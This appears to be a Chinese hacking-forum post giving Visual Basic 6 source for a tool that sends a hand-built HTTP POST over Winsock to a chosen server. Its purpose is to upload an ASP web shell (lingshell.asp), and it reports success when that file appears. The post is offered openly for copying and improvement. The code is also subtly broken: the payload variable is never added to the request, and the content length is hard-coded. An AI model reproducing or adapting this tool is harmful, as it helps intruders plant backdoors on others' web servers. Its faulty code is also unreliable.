ASP***后门提交工具全部核心VB代码

Private Sub Command1_Click()
　　Winsock1.RemotePort = Text3.Text
　　Winsock1.RemoteHost = Text2.Text
　　Winsock1.Connect
　　Command1.Enabled = False
　　Me.Timer2.Enabled = True
　　End Sub

　　Private Sub Timer2_Timer()
　　If InStr(Text6.Text, "lingshell.asp") Then
　　Me.Timer2.Enabled = False
　　MsgBox "上传成功!! ***已经上传到 http://" & Text2.Text & "" & Text4.Text & " 这个位置的目录下.WebShell文件为 lingshell.asp", , "恭喜"
　　Else
　　Me.Timer2.Enabled = False
　　MsgBox "上传失败!", , "警告"
　　End If
　　End Sub

　　Private Sub winsock1_Connect()

　　’定义提交部分包头和数据 精华所在

　　Dim PostPOST
　　Dim PostAccept
　　Dim PostReferer
　　Dim PostAcceptLanguage
　　Dim PostContentType
　　Dim PostAcceptEncoding
　　Dim PostUserAgent
　　Dim PostHost
　　Dim PostContentLength
　　Dim PostConnection
　　Dim PostCacheControl
　　Dim PostCookie
　　Dim PostDATA
　　Dim TopPostDATA

　　PostPOST = "POST " & Text4.Text & " HTTP/1.1"
　　PostAccept = "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, application/x-shockwave-flash, */*"
　　PostReferer = "Referer: http://" & Text2.Text & "/"
　　PostAcceptLanguage = "Accept-Language: zh-cn"
　　PostContentType = "Content-Type: application/x-www-form-urlencoded"
　　PostAcceptEncoding = "Accept-Encoding: gzip, deflate"
　　PostUserAgent = "User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 9.1; linghao ; [url]www.chinanethack.com[/url])"
　　PostHost = "Host: " & Text2.Text & ""
　　PostContentLength = "Content-Length: 7044"
　　PostConnection = "Connection: Keep-Alive"
　　PostCacheControl = "Cache-Control: no-cache"
　　PostCookie = "Cookie: ASPSESSIONIDGGGGGSDQ=AMBLGJAACHFIJNEDMGGEHCHF"
　　PostDATA = Text1.Text

　　TopPostDATA = PostPOST _
　　& vbCrLf & PostAccept _
　　& vbCrLf & PostReferer _
　　& vbCrLf & PostAcceptLanguage _
　　& vbCrLf & PostContentType _
　　& vbCrLf & PostAcceptEncoding _
　　& vbCrLf & PostUserAgent _
　　& vbCrLf & PostHost _
　　& vbCrLf & PostContentLength _
　　& vbCrLf & PostConnection _
　　& vbCrLf & PostCacheControl _
　　& vbCrLf & PostCookie & vbCrLf _

　　Winsock1.SendData TopPostDATA

　　End Sub

　　Private Sub Command2_Click()
　　Winsock1.Close
　　Command1.Enabled = True
　　End Sub

　　Private Sub winsock1_DataArrival(ByVal bytesTotal As Long)

　　Dim HX As String
　　Winsock1.GetData HX
　　Text6.Text = HX
　　End Sub

　　Private Sub Form_Load()
　　MsgBox "版权 [url]www.chinanethack.com[/url]-零号所有 欢迎大家抄袭改进!"
　　End Sub

　　’这里要使用时间控件来判断是因为返回有个时间间隔问题.而且如果你提交的字节数不规范服务器有可能不响应你.所以用时间判断返回是比较合理的.代码写得不好`望见谅~ TopPostDATA = 你的*** 使用POST